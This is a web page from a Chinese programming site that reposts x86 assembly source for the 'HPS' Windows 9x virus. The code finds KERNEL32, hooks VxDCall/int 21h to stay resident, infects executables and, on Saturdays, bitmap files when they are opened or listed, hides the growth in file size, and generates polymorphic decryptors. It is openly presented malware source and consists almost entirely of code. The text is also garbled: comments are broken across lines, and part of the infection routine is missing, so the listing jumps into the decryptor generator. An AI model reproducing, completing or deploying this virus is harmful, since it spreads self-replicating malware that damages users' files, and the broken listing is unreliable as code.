HPS virus 源程序

类别:编程语言 点击:0 评论:0 推荐:

 

.386P

                locals

                jumps

                .model flat,STDCALL

                ;Include the following files

                include Win32api.inc

                include Useful.inc

                include Mz.inc

                include Pe.inc

                ;Some externals only used on 1st generation

                extrn ExitProcess:NEAR

                extrn MessageBoxA:NEAR

                ;Virus equates

mem_size        equ mem_end-mem_base            ;Size of virus in

memory

inf_size        equ inf_end-mem_base            ;Size of virus in

files

base_default    equ 00400000h                   ;Default host base

address

page_mem_size   equ (mem_size+      \           ;Virus in memory

                     inf_size+      \           ;Virus copy for

infections

                     poly_max_size+ \           ;Poly decryptor

                     0FFFh)/1000h               ;Size in memory pages

page_align      equ 10000h                      ;Page allocation

alignment

SIZE_PADDING    equ 00000065h                   ;Mark for infected

files

                ;Some equates stolen from VMM.h

PR_PRIVATE      EQU     80000400h

PR_SHARED       EQU     80060000h

PR_SYSTEM       EQU     80080000h

PR_FIXED        EQU     00000008h

PR_4MEG         EQU     00000001h

PR_STATIC       EQU     00000010h

PD_ZEROINIT     EQU     00000001h

PD_NOINIT       EQU     00000002h

PD_FIXEDZERO    EQU     00000003h

PD_FIXED        EQU     00000004h

PC_FIXED        EQU     00000008h

PC_LOCKED       EQU     00000080h

PC_LOCKEDIFDP   EQU     00000100h

PC_WRITEABLE    EQU     00020000h

PC_USER         EQU     00040000h

PC_INCR         EQU     40000000h

PC_PRESENT      EQU     80000000h

PC_STATIC       EQU     20000000h

PC_DIRTY        EQU     08000000h

PCC_ZEROINIT    EQU     00000001h

PCC_NOLIN       EQU     10000000h

_TEXT           segment dword use32 public 'CODE'

host_entry:     xor ebp,ebp

                call entry_1st_gen

                xor eax,eax

                push eax

                call ExitProcess

_TEXT           ends

_DATA           segment dword use32 public 'DATA'

_DATA           ends

_BSS            segment dword use32 public 'BSS'

_BSS            ends

virseg          segment dword use32 public 'HPS'

mem_base        equ this byte

virus_entry:    call get_delta                          ;Get

delta-offset

get_delta:      pop ebp                                 ;into ebp and

                mov eax,ebp                             ;host original

                sub ebp,offset get_delta                ;entry-point

in eax

                db 2Dh                                  ;sub eax,xxxx

infected_ep     dd 00000000h

                db 05h                                  ;add eax,xxxx

original_ep     dd 00000000h

                push eax

entry_1st_gen:  ;Scan memory looking for KERNEL32.dll

                ;We can do this without causing protection faults,

                ;just setup a structured exception handler to trap

faults

                ;produced by our scan

                ;Thanks to Jacky Qwerty for this piece of code

                pushad

try_01:         mov eax,080000101h

                call IGetK32BaseAddr

                jecxz try_02

                jmp kernel_found

try_02:         mov eax,0C0000101h

                call IGetK32BaseAddr

                jecxz try_03

                jmp kernel_found

try_03:         xor eax,eax

                call IGetK32BaseAddr

kernel_found:   mov dword ptr [esp.Pushad_ebx],ecx

                popad

                or ebx,ebx

                jz init_error

                mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]

                add eax,ebx

                mov edi,dword ptr [eax+NT_OptionalHeader.      \

                                       OH_DirectoryEntries.    \

                                       DE_Export.              \

                                       DD_VirtualAddress]

                add edi,ebx

                mov esi,dword ptr [edi+ED_AddressOfFunctions]

                add esi,ebx

                xor edx,edx

address_loop:   cmp edx,dword ptr [edi+ED_NumberOfFunctions]

                jae init_error

                mov ecx,00000008h-01h

function_loop:  inc edx

                lodsd

                cmp eax,dword ptr [esi]

                jne address_loop

                loop function_loop

                add eax,ebx

                mov dword ptr [ebp+a_VxDCall],eax       ;VxDCall found

                ;At this point we know how to call VxDCall api

                ;So we can use our int21h dispatcher to perform

                ;the residency check

                mov eax,00002A00h

                mov esi,"HPS!"

                mov edi,"TSR?"

                call my_int21h

                cmp esi,"YES!"

                je init_error

                ;Check if time to activate our payload

                xor ecx,ecx

                cmp al,06h                              ;Saturday?

                jne activation_end

                inc ecx

activation_end: mov dword ptr [ebp+bmp_active],ecx

                ;Well... Now lets use VxDCall to allocate some

                ;shared memory

                ;This memory will stay there after host termination

                ;and will be visible to all running processes

                push PC_WRITEABLE or PC_USER

                push page_mem_size                      ;# of pages

                push PR_SHARED

                PUSH 00010000h                          ;Call to

_PageReserve

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                cmp eax,0FFFFFFFFh                      ;Success?

                je init_error

                cmp eax,80000000h                       ;In shared

memory?

                jb free_pages

                mov dword ptr [ebp+mem_address],eax     ;Save linnear

address

                push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED

                push 00000000h

                push PD_ZEROINIT

                push page_mem_size                      ;# of pages

                shr eax,0Ch                             ;Linnear page

number

                push eax

                push 00010001h                          ;Call to

_PageCommit

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                or eax,eax

                je free_pages

commit_success: mov eax,dword ptr [ebp+mem_address]     ;Point eax to

our

                add eax,VxDCall_code-mem_base           ;hook

procedure

                mov dword ptr [ebp+ptr_location],eax    ;Setup far jmp

                mov dword ptr [ebp+hook_status],"FREE"  ;Clear busy

flag

                mov esi,dword ptr [ebp+a_VxDCall]       ;VxDCall

entry-point

                mov ecx,00000100h                       ;Explore 0100h

bytes

trace_VxDCall:  lodsb

                cmp al,2Eh

                jne trace_next

                cmp word ptr [esi],1DFFh

                je get_int30h

trace_next:     loop trace_VxDCall

free_pages:     xor eax,eax

                push eax

                push dword ptr [ebp+mem_address]

                push 0001000Ah                          ;Call to

_PageFree

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                jmp init_error

get_int30h:     ;Before setting our hook lets generate one polymorphic

                ;decryptor... We will use this decryptor for each file

                ;infection... This is also known as slow-mutation

                call mutate                             ;Generate

decryptor

                ;Now we have all the necesary information to hook

Windows

                ;calls to VxDCall function

                ;Save the 16:32 pointer to INT 30h instruction and

                ;overwrite it with the address of our hook procedure

                cli

                lodsw                                   ;Skip FF 1D

opcodes

                lodsd                                   ;Get ptr to

INT 30h

                push eax

                mov esi,eax

                mov edi,dword ptr [ebp+mem_address]

                add edi,VxDCall_code-mem_base

                mov ecx,00000006h

                rep movsb

                pop edi

                mov eax,dword ptr [ebp+mem_address]

                add eax,VxDCall_hook-mem_base

                stosd

                mov ax,cs                               ;Overwrite far

ptr

                stosw

                sti

init_error:     lea ebp,dword ptr [esp+0000013Ch-00000004h]

                ret

SEH_ExcptBlock  macro

                add esp,-cPushad

                jnz GK32BA_L1

                endm

IGetK32BaseAddr: @SEH_SetupFrame <SEH_ExcptBlock>

                mov ecx,edx

                xchg ax,cx

GK32BA_L0:      dec cx

                jz GK32BA_L2

                add eax,-10000h

                pushad

                mov bx,-IMAGE_DOS_SIGNATURE

                add bx,[eax]

                mov esi,eax

                jnz GK32BA_L1

                mov ebx,-IMAGE_NT_SIGNATURE

                add eax,[esi.MZ_lfanew]

                mov edx,esi

                add ebx,[eax]

                jnz GK32BA_L1

                add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries  \

                         .DE_Export.DD_VirtualAddress]

                cld

                add esi,[edx.ED_Name]

                lodsd

                and eax,not 20202020h

                add eax,-'NREK'

                jnz GK32BA_L1

                lodsd

                or ax,2020h

                add eax,-'23le'

                jnz GK32BA_L1

                lodsb

                xor ah,al

                jz GK32BA_L1

                add al,-'.'

                lodsd

                jnz GK32BA_L1

                and eax,not 202020h

                add eax,-'LLD'

GK32BA_L1:      popad

                jnz GK32BA_L0

                xchg ecx,eax

                inc eax

GK32BA_L2:      @SEH_RemoveFrame

                ret

                include excpt.inc

VxDCall_hook:   pushad

                call mem_delta                          ;Get

mem_delta:      pop ebp                                 ;delta offset

                sub ebp,offset mem_delta

                cmp dword ptr [ebp+hook_status],"BUSY"  ;Dont process

our

                je exit_hook                            ;own calls

                cmp eax,002A0010h                       ;VWIN32 VxD

int 21h?

                jne exit_hook

                mov eax,dword ptr [esp+0000002Ch]

                cmp ax,2A00h                            ;Get system

                je tsr_check

                cmp ax,3D00h                            ;Open file

                je infection_edx

                cmp ax,3D01h                            ;Open file

                je infection_edx                        ;read/write?

                cmp ax,7143h                            ;X-Get/set

                je infection_edx

                cmp ax,714Eh                            ;LFN find

                je stealth

                cmp ax,714Fh                            ;LFN find next

                je stealth

                cmp ax,7156h                            ;LFN rename

                je infection_edx

                cmp ax,716Ch                            ;LFN extended

                je infection_esi

                cmp ax,71A8h                            ;Generate

                je infection_esi

exit_hook:      popad

do_far_jmp:     ;Do a jmp fword ptr cs:[xxxxxxxx] into original code

                db 2Eh,0FFh,2Dh

ptr_location    dd 00000000h

tsr_check:      cmp esi,"HPS!"                          ;Is our tsr

check?

                jne exit_hook

                cmp edi,"TSR?"

                jne exit_hook

                popad

                mov esi,"YES!"                          ;Already

resident

                jmp short do_far_jmp

stealth:        mov eax,dword ptr [esp+00000028h]       ;Save return

address

                mov dword ptr [ebp+stealth_ret],eax

                lea eax,dword ptr [ebp+api_ret]         ;Set new ret

address

                mov dword ptr [esp+00000028h],eax

                mov dword ptr [ebp+find_data],edi       ;Save

ptr2FindData

                jmp exit_hook

api_ret:        ;As result of the above code we will get control after

                ;int21h FindFirst or FindNext funcions

                jc back2caller                          ;Exit if fail

                pushad                                  ;Save all

registers

                call stealth_delta                      ;Delta offset

used

stealth_delta:  pop ebp                                 ;in stealth

routines

                sub ebp,offset stealth_delta

                db 0BFh                                 ;mov edi,ptr

FindData

find_data       dd 00000000h

                xor eax,eax

                cmp dword ptr [edi+WFD_nFileSizeHigh],eax

                jne stealth_done

                mov eax,dword ptr [edi+WFD_nFileSizeLow]

                mov ecx,SIZE_PADDING

                xor edx,edx

                div ecx

                or edx,edx

                jnz stealth_done

                lea esi,dword ptr [edi+WFD_szFileName]  ;Ptr to

filename

                push esi

                call check_filename

                pop esi

                jc stealth_done

                mov dword ptr [ebp+hook_status],"BUSY"  ;Set busy flag

                mov eax,0000716Ch                       ;LFN Ext

Open/Create

                xor ebx,ebx                             ;Read

                xor ecx,ecx                             ;Attribute

normal

                xor edx,edx

                inc edx                                 ;Open existing

                call my_int21h

                jc stealth_done

                mov ebx,eax

                mov edx,dword ptr [edi+WFD_nFileSizeLow]

                sub edx,00000004h

                call seek_here

                jc close_stealth

                mov eax,00003F00h                       ;Read bytes

written

                mov ecx,00000004h

                lea edx,dword ptr [ebp+stealth_this]

                call my_int21h

                jc close_stealth

                mov eax,dword ptr [ebp+stealth_this]

                sub dword ptr [edi+WFD_nFileSizeLow],eax

close_stealth:  mov eax,00003E00h                       ;Close file

                call my_int21h

stealth_done:   mov dword ptr [ebp+hook_status],"FREE"  ;Clear busy

flag

                popad                                   ;Save all

registers

                clc                                     ;Return no

error

back2caller:    push eax

                push eax

                db 0B8h                                 ;Load eax with

the

stealth_ret     dd 00000000h                            ;return

address

                mov dword ptr [esp+00000004h],eax

                pop eax

                ret

infection_edx:  mov esi,edx

infection_esi:  mov dword ptr [ebp+hook_status],"BUSY"  ;Set busy flag

                call check_filename

                jc exit_infection

                mov dword ptr [ebp+ptr_filename],edx

                mov esi,edx

                xor ecx,ecx

                cld

name_checksum:  xor eax,eax

                lodsb

                or al,al

                jz got_checksum

                add ecx,eax

                jmp short name_checksum

got_checksum:   cmp dword ptr [ebp+last_checksum],ecx

                je exit_infection

                mov dword ptr [ebp+last_checksum],ecx

                mov eax,00007143h                       ;LFN Ext

                xor ebx,ebx                             ;Retrieve

                lea edx,dword ptr [ebp+target_filename] ;Ptr to

                call my_int21h

                jc exit_infection

                mov dword ptr [ebp+file_attrib],ecx     ;Save original

                mov eax,00007143h                       ;LFN Ext

                mov bl,01h                              ;Set file

                xor ecx,ecx                             ;Clear all

                lea edx,dword ptr [ebp+target_filename] ;Ptr to

                call my_int21h

                jc exit_infection

                mov eax,00007143h                       ;LFN Ext

                mov bl,04h                              ;Retrieve last w

                lea edx,dword ptr [ebp+target_filename] ;Ptr to

                call my_int21h

                jc exit_infection

                mov dword ptr [ebp+file_time],ecx       ;Save original

                mov dword ptr [ebp+file_date],edi       ;Save original

                mov eax,0000716Ch                       ;LFN Ext

                mov ebx,00000002h                       ;Read/Write

                xor ecx,ecx                             ;Attribute

                mov edx,00000001h                       ;Open existing

                lea esi,dword ptr [ebp+target_filename] ;Ptr to

                call my_int21h

                jc exit_infection

                mov ebx,eax

                mov eax,00003F00h                       ;Read MsDos

                mov ecx,IMAGE_SIZEOF_DOS_HEADER         ;or bitmap

                lea edx,dword ptr [ebp+msdos_header]    ;header

                call my_int21h

                jc close_file

                cmp word ptr [ebp+msdos_header],IMAGE_DOS_SIGNATURE

                je executable

                xor eax,eax

                cmp dword ptr [ebp+bmp_active],eax

                je close_file

                cmp word ptr [ebp+msdos_header],"MB"

                jne close_file

                cmp dword ptr [ebp+msdos_header+0000001Ah],00080001h

                jne close_file

                ;Skip .BMP files that use compression

                xor eax,eax

                cmp dword ptr [ebp+msdos_header+0000001Eh],eax

                jne close_file

                ;Check bitmap size in bytes

                mov eax,dword ptr [ebp+msdos_header+00000012h]

                mov ecx,dword ptr [ebp+msdos_header+00000016h]

                mul ecx

                cmp eax,dword ptr [ebp+msdos_header+00000022h]

                jne close_file

                call seek_eof

                cmp dword ptr [ebp+msdos_header+00000002h],eax

                jne close_file

                add eax,00000FFFh

                xor edx,edx

                mov ecx,00001000h

                div ecx

                mov dword ptr [ebp+bmp_pages],eax

                push ebx

                push PC_WRITEABLE or PC_USER

                push eax                                ;# of pages

                push PR_SYSTEM

                PUSH 00010000h                          ;Call to

_PageReserve

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                pop ebx

                cmp eax,0FFFFFFFFh                      ;Success?

                je close_file

                mov dword ptr [ebp+bmp_address],eax     ;Save linnear

                push ebx

                push PC_WRITEABLE or PC_USER

                push 00000000h

                push PD_ZEROINIT

                push dword ptr [ebp+bmp_pages]          ;# of pages

                shr eax,0Ch                             ;Linnear page

                push eax

                push 00010001h                          ;Call to

_PageCommit

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                pop ebx

                or eax,eax

                je free_bmp_mem

                call seek_bof                           ;Return to bof

                jc close_file

                mov eax,00003F00h                       ;Read the

                mov ecx,dword ptr [ebp+msdos_header+00000002h]

                mov edx,dword ptr [ebp+bmp_address]

                call my_int21h

                jc free_bmp_mem

                mov eax,dword ptr [ebp+bmp_address]

                mov esi,dword ptr [eax+0000000Ah]

                add esi,eax

                cmp dword ptr [esi],0DEADBABEh          ;Already

                je free_bmp_mem

                push esi

   push edi

                mov ecx,SIZE_PADDING

                call rnd_fill

                pop edi

                ;Decryptor done, save its size

                pop eax

                sub dword ptr [ebp+entry_point],eax

                sub edi,eax

                mov dword ptr [ebp+decryptor_size],edi

                ;Copy virus body to our buffer

                lea esi,dword ptr [ebp+mem_base]

                mov edi,dword ptr [ebp+mem_address]

                mov ecx,mem_size

                rep movsb

                popad

                ret

scramble_virus: lea esi,dword ptr [ebp+mem_base]

                lea edi,dword ptr [esi+mem_size]

                push edi

                mov ecx,inf_size

                cld

                rep movsb

                call fixed_size2ecx

                pop edi

loop_hide_code: push ecx

                mov eax,dword ptr [edi]

                call perform_crypt

                xor ecx,ecx

                mov cl,byte ptr [ebp+oper_size]

loop_copy_res:  stosb

                shr eax,08h

                loop loop_copy_res

                pop ecx

                loop loop_hide_code

                ret

perform_crypt:  ;This buffer will contain the code to "crypt" the

virus code

                ;followed by a RET instruction

                db 10h dup (90h)

gen_get_delta:  ;Lets generate polymorphic code for the following

pseudocode:

                mov al,0E8h

                stosb

                ;Let space for the address to call

                stosd

                mov dword ptr [ebp+delta_call],edi

                push edi

                ;Generate some random data

                call gen_rnd_block

                ;Get displacement from CALL instruction to destination

                ;address

                mov eax,edi

                pop esi

                sub eax,esi

                ;Put destination address after CALL opcode

                mov dword ptr [esi-00000004h],eax

                call gen_garbage

                mov al,58h

                or al,byte ptr [ebp+index_mask]

                stosb

                call gen_garbage

                ;Make needed fixes to point index to start or end of

                ;encrypted code

                mov eax,dword ptr [ebp+mem_address]

                add eax,mem_size

                add eax,dword ptr [ebp+ptr_disp]

                sub eax,dword ptr [ebp+delta_call]

                test byte ptr [ebp+build_flags],CRYPT_DIRECTION

                jz fix_dir_ok

                ;Direction is from top to bottom

                push eax

                call fixed_size2ecx

                xor eax,eax

                mov al,byte ptr [ebp+oper_size]

                push eax

                mul ecx

                pop ecx

                sub eax,ecx

                pop ecx

                add eax,ecx

fix_dir_ok:     push eax

                ;Fix using ADD or SUB?

                call get_rnd32

                and al,01h

                jz fix_with_sub

fix_with_add:   ;Generate ADD reg_index,fix_value

                mov ax,0C081h

                or ah,byte ptr [ebp+index_mask]

                stosw

                pop eax

                jmp short fix_done

fix_with_sub:   ;Generate SUB reg_index,-fix_value

                mov ax,0E881h

                or ah,byte ptr [ebp+index_mask]

                stosw

                pop eax

                neg eax

fix_done:       stosd

                ret

gen_load_ctr:   ;Easy now, just move counter random initial value

                ;into counter reg and calculate the end value

                mov al,0B8h

                or al,byte ptr [ebp+counter_mask]

                stosb

                call fixed_size2ecx

                call get_rnd32

                stosd

                test byte ptr [ebp+build_flags],CRYPT_CDIR

                jnz counter_down

counter_up:     add eax,ecx

                jmp short done_ctr_dir

counter_down:   sub eax,ecx

done_ctr_dir:   mov dword ptr [ebp+end_value],eax

                ret

gen_decrypt:    ;Check if we are going to use a displacement in the

                ;indexing mode

                mov eax,dword ptr [ebp+ptr_disp]

                or eax,eax

                jnz more_complex

                ;Choose generator for [reg] indexing mode

                mov edx,offset tbl_idx_reg

                call choose_magic

                jmp you_got_it

more_complex:   ;More fun?!?!

                mov al,byte ptr [ebp+build_flags]

                test al,CRYPT_SIMPLEX

                jnz crypt_xtended

                ;Choose generator for [reg+imm] indexing mode

                mov edx,offset tbl_dis_reg

                call choose_magic

you_got_it:     ;Use magic to convert some values into

                ;desired instructions

                call size_correct

                mov dl,byte ptr [ebp+index_mask]

                lodsb

                or al,al

                jnz adn_reg_01

                cmp dl,00000101b

                je adn_reg_02

adn_reg_01:     lodsb

                or al,dl

                stosb

                jmp common_part

adn_reg_02:     lodsb

                add al,45h

                xor ah,ah

                stosw

                jmp common_part

crypt_xtended:  ;Choose [reg+reg] or [reg+reg+disp]

                test al,CRYPT_COMPLEX

                jz ok_complex

                ;Get random displacement from current displacement

                ;eeehh?!?

                mov eax,00000010h

                call get_rnd_range

                mov dword ptr [ebp+disp2disp],eax

                call load_aux

                push ebx

                call gen_garbage

                ;Choose generator for [reg+reg+imm] indexing mode

                mov edx,offset tbl_paranoia

                call choose_magic

                jmp short done_xtended

ok_complex:     mov eax,dword ptr [ebp+ptr_disp]

                call load_aux

                push ebx

                call gen_garbage

                ;Choose generator for [reg+reg] indexing mode

                mov edx,offset tbl_xtended

                call choose_magic

done_xtended:   ;Build decryptor instructions

                call size_correct

                pop ebx

                mov dl,byte ptr [ebp+index_mask]

                lodsb

                mov cl,al

                or al,al

                jnz arn_reg_01

                cmp dl,00000101b

                jne arn_reg_01

                lodsb

                add al,40h

                stosb

                jmp short arn_reg_02

arn_reg_01:     movsb

arn_reg_02:     mov al,byte ptr [ebx+REG_MASK]

                shl al,03h

                or al,dl

                stosb

                or cl,cl

                jnz arn_reg_03

                cmp dl,00000101b

                jne arn_reg_03

                xor al,al

                stosb

arn_reg_03:     ;Restore aux reg state

                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

common_part:    ;Get post-build flags

                lodsb

                ;Insert displacement from real address?

                test al,MAGIC_PUTDISP

                jz skip_disp

                push eax

                mov eax,dword ptr [ebp+ptr_disp]

                sub eax,dword ptr [ebp+disp2disp]

                neg eax

                stosd

                pop eax

skip_disp:      ;Insert key?

                test al,MAGIC_PUTKEY

                jz skip_key

                call copy_key

skip_key:       ;Generate reverse code

                call do_reverse

                ret

choose_magic:   mov eax,00000006h

                call get_rnd_range

                add edx,ebp

                lea esi,dword ptr [edx+eax*04h]

                lodsd

                add eax,ebp

                mov esi,eax

                ret

size_correct:   lodsb

                mov ah,byte ptr [ebp+oper_size]

                cmp ah,01h

                je store_correct

                inc al

                cmp ah,04h

                je store_correct

                mov ah,66h

                xchg ah,al

                stosw

                ret

store_correct:  stosb

                ret

load_aux:       ;Get a valid auxiliary register

                push eax

                call get_valid_reg

                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

                ;Move displacement into aux reg

                mov al,0B8h

                or al,byte ptr [ebx+REG_MASK]

                stosb

 

                pop eax

                neg eax

                stosd

                ret

do_reverse:     xor eax,eax

                mov al,byte ptr [ebp+oper_size]

                shr eax,01h

                shl

本文地址:http://com.8s8s.com/it/it29984.htm